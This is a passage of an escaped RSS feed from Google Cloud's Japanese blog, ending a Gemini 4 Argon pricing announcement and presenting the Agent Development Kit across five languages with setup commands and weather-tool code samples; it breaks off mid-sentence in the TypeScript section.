&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon は、2026 年 11 月 30 日まで、100 万入力トークンあたり 2 ドル、100 万出力トークンあたり 10 ドルの特別価格で提供されます。キャッシュに保存された入力トークンは 95% 割引となります。2026 年 11 月 30 日以降は、100 万入力トークンあたり 4 ドル、100 万出力トークンあたり 20 ドルの標準価格が適用されます。技術仕様、トークン制限、移行手順の詳細については、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/gemini/4-argon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;モデルカード&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;と&lt;/span&gt;&lt;a href="https://drive.google.com/file/d/1YQ0xENI0e-jauxPSxTfUoOQ9aXHGsoWh/view" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;デベロッパー ガイド&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;サイバー防御者の皆様は、&lt;/span&gt;&lt;a href="https://cloudonair.withgoogle.com/events/summit-amer-security-2026?utm_source=cgc-blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=FY26-Q4-GLOBAL-GLO10000010-onlineeventsession-er-dgcsm-SS-NORAM-249572&amp;amp;utm_content=blog&amp;amp;utm_term=argon" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Security Summit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; にご参加いただくことで、Gemini 4 Argon を使用してマシンスピードの脅威から防御し、修復を自動化する方法を学ぶことができます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- Google Cloud、Gemini、プロダクト マネジメント担当バイス プレジデント、&lt;/span&gt;&lt;strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Michael Gerstenhaber&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 21 Oct 2026 02:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</guid><category>AI &amp; Machine Learning</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_argon.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Google Cloud で Gemini 4 Argon が利用可能に：ビジネスの最も困難な課題解決をサポート</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_argon.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Michael Gerstenhaber</name><title>VP, Product Management, Gemini, Google Cloud</title><department></department><company></company></author></item><item><title>Agent Development Kit は 5 つの言語に対応</title><link>https://cloud.google.com/blog/ja/topics/developers-practitioners/one-agent-development-kit-five-languages/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 14 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/developers-practitioners/one-agent-development-kit-five-languages?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エージェントといえば Python というイメージがありますが、実際は必ずしもそうではありません。現在の先進的なエコシステムでは、エージェントは&lt;/span&gt;&lt;a href="https://cloud.google.com/run"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud Run&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 上で Go マイクロサービスとして大規模に同時実行されることもあれば、&lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/models/chrome_prompt_llm.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ブラウザタブ内で動作&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;して Chrome のオンデバイス モデルを呼び出すこともあります。しかし、エージェント フレームワークの多くは Python のみのスタックを想定しています。そのため、エージェント ワークロードのためだけに Python サービスをスピンアップしたり、エージェント オーケストレーション ロジックを独自の言語でゼロから構築したりすることが必要になります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google の&lt;/span&gt;&lt;a href="https://adk.dev/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent Development Kit（ADK）&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;は、&lt;/span&gt;&lt;a href="https://github.com/google/adk-python" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://github.com/google/adk-go" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Go&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://github.com/google/adk-js" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;TypeScript&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://github.com/google/adk-java" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Java&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://github.com/google/adk-kotlin" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; をサポートしているため、このようなトレードオフは発生しません。ADK の各バージョンはそれぞれの言語のランタイムと型システムに合わせてゼロから構築されており、かつ、オープン プロトコルによる相互運用性を備えた統合アーキテクチャを共有しています。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;共通の基盤&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;5 つの言語すべてが同じオープン プロトコルをサポートしているため、使用する言語によってアーキテクチャが固定されることはありません。すべての言語の ADK に&lt;/span&gt;&lt;a href="https://modelcontextprotocol.io/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Model Context Protocol&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; クライアントが含まれており、MCP サーバーとして公開されたカスタムツールを、どの言語からでもすぐに呼び出すことができます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;マルチエージェント システムの場合、ADK は&lt;/span&gt;&lt;a href="https://github.com/a2aproject/A2A" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agent2Agent（A2A）&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;プロトコルをサポートしているため、エージェントは HTTP 経由でリモート エージェントと通信できます。エージェントが異なる言語やフレームワークで記述されていても、A2A を通じて相互運用することができます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;エージェント ファースト開発の第一歩&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;まず、1 回限りの設定コマンドを実行して Google Cloud 認証を確認し、CLI をインストールします。その後、&lt;/span&gt;&lt;a href="https://antigravity.google/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Antigravity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://docs.anthropic.com/en/docs/claude-code" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Claude Code&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://github.com/openai/codex" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Codex&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; などのコーディング エージェントでファーストパーティの ADK スキルを設定します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;uvx google-agents-cli setup&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a7a950&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;次に scaffold コマンドを実行して、A2A エンドポイントと Cloud Run、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/build/runtime"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini Enterprise Agent Runtime&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、または&lt;/span&gt;&lt;a href="https://cloud.google.com/kubernetes-engine"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Kubernetes Engine（GKE）&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;のデプロイ構成を含む作業プロジェクトを生成します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;# Scaffold an ADK project (use --agent adk for Python or --agent adk_go for Go)\r\nagents-cli scaffold create my-go-agent \\\r\n  --agent adk_go \\\r\n  --deployment-target cloud_run \\\r\n  --region us-central1&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a7ac90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;a href="https://github.com/google/adk-python/tree/main/.agents/skills/adk-agent-builder" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; リポジトリと&lt;/span&gt;&lt;a href="https://github.com/google/adk-kotlin/tree/main/.agents/skills/adk-kotlin-agent-builder" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; リポジトリの両方とも、ソースツリーにはエージェント ビルダーのスキルも含まれています。また、&lt;/span&gt;&lt;a href="https://adk.dev/llms.txt" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;adk.dev/llms.txt&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; リソースにより、5 つの言語すべてのコーディング エージェントでオンデマンドの API ドキュメントを利用できます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-a.max-1000x1000.jpg"
        
          alt="one-agent-development-kit-five-languages-architecture"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="9ieq2"&gt;コーディング エージェント スキルがプロジェクトの基盤を構築し、MCP と A2A が 5 つの言語ランタイムすべてを接続します。&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;各 ADK の実践的なサンプル&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;5 つの言語の違いを感じるには、各言語で同じ天気ツールを定義し、その設計とランタイムの連携方法を確認することが最もわかりやすいでしょう。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Python&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/google/adk-python/blob/main/contributing/samples/core/quickstart/agent.py" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; では、デコレータやスキーマ ビルダー クラスは必要ありません。プレーンな Python 関数を &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;tools&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; パラメータに渡すと、ADK の起動時にシグネチャ、型ヒント、docstring が検査され、ツール宣言と&lt;/span&gt;&lt;a href="https://docs.pydantic.dev/latest/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Pydantic&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; パラメータ スキーマが自動的に構築されます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;from google.adk.agents.llm_agent import Agent\r\n\r\n\r\ndef get_weather(city: str) -&amp;gt; dict:\r\n  &amp;quot;&amp;quot;&amp;quot;Retrieves the current weather report for a specified city.\r\n\r\n  Args:\r\n      city (str): The name of the city for which to retrieve the weather report.\r\n  &amp;quot;&amp;quot;&amp;quot;\r\n  return {&amp;quot;status&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot;: f&amp;quot;Sunny and 72F in {city}.&amp;quot;}\r\n\r\n\r\nroot_agent = Agent(\r\n    name=&amp;quot;weather_agent&amp;quot;,\r\n    model=&amp;quot;gemini-3.8-flash&amp;quot;,\r\n    instruction=&amp;quot;Answer questions about the weather in a city.&amp;quot;,\r\n    tools=[get_weather],\r\n)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;lang-py&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a7a8d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Python は迅速なプロトタイピングが可能であるだけでなく、ADK のリファレンス実装でもあり、最も幅広い Google Cloud の統合（&lt;/span&gt;&lt;a href="https://cloud.google.com/bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://cloud.google.com/spanner"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Spanner&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://cloud.google.com/bigtable"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Bigtable&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;）とモデル アダプタ（&lt;/span&gt;&lt;a href="https://ai.google.dev/gemini-api/docs" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、Anthropic、OpenAI、LiteLLM）が提供されています。&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;adk eval&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; コマンドまたは &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;agents-cli eval run&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; コマンドと組み合わせて評価ツールを使用することで、継続的インテグレーション（CI）でゴールデン データセットを基準としてエージェントの軌跡をスコアリングし、本番環境サービスが別の言語で実行されている場合でも、システム全体をエンドツーエンドでテストできます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Go&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Python がテストと評価に優れている一方で、&lt;/span&gt;&lt;a href="https://github.com/google/adk-go/blob/main/examples/quickstart/main.go" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Go&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; は本番環境のバックエンド エンジニアリングに最適です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go ツールの関数は、&lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/agent#Context" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;agent.Context&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 構成と厳密に型指定された入力構造体を受け取ります。&lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/tool/functiontool#New" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;functiontool.New&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; 関数は、Go ジェネリクスを使用して、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;struct&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; タグから入力スキーマと出力スキーマの両方を推測します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;type GetWeatherArgs struct {\r\n\tCity string `json:&amp;quot;city&amp;quot; jsonschema:&amp;quot;The city to look up weather for.&amp;quot;`\r\n}\r\n\r\ntype GetWeatherResult struct {\r\n\tReport string `json:&amp;quot;report&amp;quot;`\r\n}\r\n\r\nfunc getWeather(_ agent.Context, args GetWeatherArgs) (GetWeatherResult, error) {\r\n\treturn GetWeatherResult{Report: &amp;quot;Sunny and 72F in &amp;quot; + args.City}, nil\r\n}\r\n\r\nweatherTool, err := functiontool.New(functiontool.Config{\r\n\tName:        &amp;quot;get_weather&amp;quot;,\r\n\tDescription: &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n}, getWeather)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a79710&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;functiontool.New&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; 関数はハンドラのシグネチャに対してジェネリクスを活用しているため、Go コンパイラは関数が想定されるコントラクトと一致することを確認してからバイナリを実行します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go は、Python の次に&lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/workflow" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK 2.0 Graph Workflow ランタイム&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;が提供された言語でもあります。LLM 推論と併せて決定的な制御フローを使用する必要がある場合は、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;workflow.New&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; 関数を使用して、エージェントとプレーンな Go 関数を条件付きルーティングと並列ステップを持つ有向グラフに接続します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;ag, err := workflowagent.New(&amp;quot;order_pipeline&amp;quot;, []workflow.Edge{\r\n\t{From: workflow.Start, To: triageNode},\r\n\t{From: triageNode, To: fulfillNode, Route: workflow.StringRoute(&amp;quot;fulfill&amp;quot;)},\r\n\t{From: fulfillNode, To: notifyNode},\r\n})&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a78050&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go が真価を発揮するのは、本番環境でCloud Run および GKE と組み合わせて使用する場合です。コンパイルされた Go エージェントは、約 2 MiB の&lt;/span&gt;&lt;a href="https://github.com/GoogleContainerTools/distroless" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google distroless 静的ベースイメージ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;にパッケージ化され、言語 VM や重い依存関係ツリーはありません。静的な Go バイナリはコンテナが起動するとすぐにポートにバインドされ、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/tips/general"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;動的言語&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;のモジュール インポートや、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/tips/java"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;JVM サービス&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;の JAR の展開と JIT のウォームアップはスキップされます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go の同時実行モデルは、実行されたエージェントのワークロードと優れた適合性を発揮します。各 goroutine は&lt;/span&gt;&lt;a href="https://go.dev/doc/go1.4#runtime" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;2 KB のスタック&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;と&lt;/span&gt;&lt;a href="https://go.dev/doc/faq#goroutines" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;最小限のスケジューリング オーバーヘッド&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;で開始されるため、単一のインスタンスで数千の同時ストリーミング リクエストとツール呼び出しを多重化できます。ADK for Go には、&lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/server/adka2a/v2" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;組み込みの A2A サーバー ハンドラ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;と OpenTelemetry トレースも含まれています。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;TypeScript&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TypeScript は JavaScript へのコンパイル時に型アノテーションが消去されるため、ランタイム リフレクションは使用できません。代わりに、&lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/tools/function_tool.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for TypeScript&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; は &lt;/span&gt;&lt;a href="https://zod.dev/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Zod&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; と連携します。&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;z.object(...)&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; スキーマを &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FunctionTool&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; 関数に渡すと、TypeScript はその単一の宣言から &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;execute&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; コールバックのパラメータ型を静的に推測します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;import { FunctionTool, LlmAgent } from &amp;quot;@google/adk&amp;quot;;\r\nimport { z } from &amp;quot;zod&amp;quot;;\r\n\r\nconst getWeatherTool = new FunctionTool({\r\n  name: &amp;quot;get_weather&amp;quot;,\r\n  description: &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n  parameters: z.object({\r\n    city: z.string().describe(&amp;quot;The name of the city.&amp;quot;),\r\n  }),\r\n  execute: async ({ city }) =&amp;gt; {\r\n    return { status: &amp;quot;success&amp;quot;, report: `Sunny and 72F in ${city}.` };\r\n  },\r\n});\r\n\r\nexport const rootAgent = new LlmAgent({\r\n  name: &amp;quot;weather_agent&amp;quot;,\r\n  model: &amp;quot;gemini-3.8-flash&amp;quot;,\r\n  instruction: &amp;quot;Answer questions about the weather in a city.&amp;quot;,\r\n  tools: [getWeatherTool],\r\n});&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a7b750&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ランタイム入力の検証、モデルに送信される JSON スキーマ、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;execute&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; コールバック内の IDE 予測入力はすべて、信頼できる唯一の情報源から取得されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TypeScript は ADK 2.0 Graph Workflow エンジンでも動作し、&lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/index_web.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;スタンドアロンのブラウザ バンドル&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;が提供されています。Node.js サービス以外にも、ページレベルのツール用の&lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/tools/webmcp/webmcp_toolset.ts" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;WebMCP&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; と Chrome のオンデバイス&lt;/span&gt;&lt;a href="https://developer.chrome.com/docs/ai/prompt-api" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Prompt API&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用して、ブラウザタブで ADK 